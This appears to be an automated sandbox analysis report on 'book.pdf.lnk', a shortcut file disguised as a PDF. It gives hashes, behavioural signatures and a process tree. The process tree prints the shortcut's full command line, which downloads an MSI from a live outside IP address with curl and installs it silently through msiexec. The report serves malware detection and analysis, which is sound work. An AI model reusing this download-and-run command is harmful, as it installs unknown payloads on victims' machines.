Resubmissions
24-08-2023 17:35
230824-v568qafh4y 323-08-2023 19:18
230823-xz2gdsfa82 323-08-2023 19:16
230823-xy925sfa76 321-08-2023 09:54
230821-lw62xscb47 1021-08-2023 00:59
230821-bb4qysaa78 10Analysis
-
max time kernel
118s -
max time network
120s -
platform
windows7_x64 -
resource
win7-20230712-en -
resource tags
arch:x64arch:x86image:win7-20230712-enlocale:en-usos:windows7-x64system -
submitted
21-08-2023 09:54
Static task
static1
Behavioral task
behavioral1
Sample
book.pdf.lnk
Resource
win7-20230712-en
windows7-x64
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
book.pdf.lnk
Resource
win10v2004-20230703-en
windows10-2004-x64
17 signatures
150 seconds
General
-
Target
book.pdf.lnk
-
Size
1KB
-
MD5
0185e0fc2f505312001e1a65e6783908
-
SHA1
8e4cf0397ba32d233a515a5aca02751f6f9344c6
-
SHA256
8b3162141ac545fa0ae63777748973b8ee88bb8234a917d5fb3238d2c2ca963d
-
SHA512
1a484bb08401fd7476d37029fa753aa82af10aa702f30fa30568ff7eaf94b484e604bbff9f6b5a67179a7d708cf61bb767fa974e0a9f35e751d74d9a2dd4fefc
Score
3/10
Malware Config
Signatures
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
Processes:
msiexec.exepid process 2564 msiexec.exe -
Suspicious use of AdjustPrivilegeToken 34 IoCs
Processes:
msiexec.exemsiexec.exedescription pid process Token: SeShutdownPrivilege 2564 msiexec.exe Token: SeIncreaseQuotaPrivilege 2564 msiexec.exe Token: SeRestorePrivilege 2804 msiexec.exe Token: SeTakeOwnershipPrivilege 2804 msiexec.exe Token: SeSecurityPrivilege 2804 msiexec.exe Token: SeCreateTokenPrivilege 2564 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 2564 msiexec.exe Token: SeLockMemoryPrivilege 2564 msiexec.exe Token: SeIncreaseQuotaPrivilege 2564 msiexec.exe Token: SeMachineAccountPrivilege 2564 msiexec.exe Token: SeTcbPrivilege 2564 msiexec.exe Token: SeSecurityPrivilege 2564 msiexec.exe Token: SeTakeOwnershipPrivilege 2564 msiexec.exe Token: SeLoadDriverPrivilege 2564 msiexec.exe Token: SeSystemProfilePrivilege 2564 msiexec.exe Token: SeSystemtimePrivilege 2564 msiexec.exe Token: SeProfSingleProcessPrivilege 2564 msiexec.exe Token: SeIncBasePriorityPrivilege 2564 msiexec.exe Token: SeCreatePagefilePrivilege 2564 msiexec.exe Token: SeCreatePermanentPrivilege 2564 msiexec.exe Token: SeBackupPrivilege 2564 msiexec.exe Token: SeRestorePrivilege 2564 msiexec.exe Token: SeShutdownPrivilege 2564 msiexec.exe Token: SeDebugPrivilege 2564 msiexec.exe Token: SeAuditPrivilege 2564 msiexec.exe Token: SeSystemEnvironmentPrivilege 2564 msiexec.exe Token: SeChangeNotifyPrivilege 2564 msiexec.exe Token: SeRemoteShutdownPrivilege 2564 msiexec.exe Token: SeUndockPrivilege 2564 msiexec.exe Token: SeSyncAgentPrivilege 2564 msiexec.exe Token: SeEnableDelegationPrivilege 2564 msiexec.exe Token: SeManageVolumePrivilege 2564 msiexec.exe Token: SeImpersonatePrivilege 2564 msiexec.exe Token: SeCreateGlobalPrivilege 2564 msiexec.exe -
Suspicious use of WriteProcessMemory 8 IoCs
Processes:
cmd.execmd.exedescription pid process target process PID 3000 wrote to memory of 2484 3000 cmd.exe cmd.exe PID 3000 wrote to memory of 2484 3000 cmd.exe cmd.exe PID 3000 wrote to memory of 2484 3000 cmd.exe cmd.exe PID 2484 wrote to memory of 2564 2484 cmd.exe msiexec.exe PID 2484 wrote to memory of 2564 2484 cmd.exe msiexec.exe PID 2484 wrote to memory of 2564 2484 cmd.exe msiexec.exe PID 2484 wrote to memory of 2564 2484 cmd.exe msiexec.exe PID 2484 wrote to memory of 2564 2484 cmd.exe msiexec.exe
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\book.pdf.lnk1⤵
- Suspicious use of WriteProcessMemory
PID:3000 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c echo %cd% > C:\Users\Admin\AppData\Local\Temp\ruta.txt & echo eGz & echo zv & echo GMp & echo RC & curl -o C:\Users\Admin\AppData\Local\Temp\ffbjzugu.msi http://107.181.161.200:443/msiffbjzugu & msiexec /i C:\Users\Admin\AppData\Local\Temp\ffbjzugu.msi /quiet /qn2⤵
- Suspicious use of WriteProcessMemory
PID:2484 -
C:\Windows\system32\msiexec.exemsiexec /i C:\Users\Admin\AppData\Local\Temp\ffbjzugu.msi /quiet /qn3⤵
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious use of AdjustPrivilegeToken
PID:2564
-
-
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2804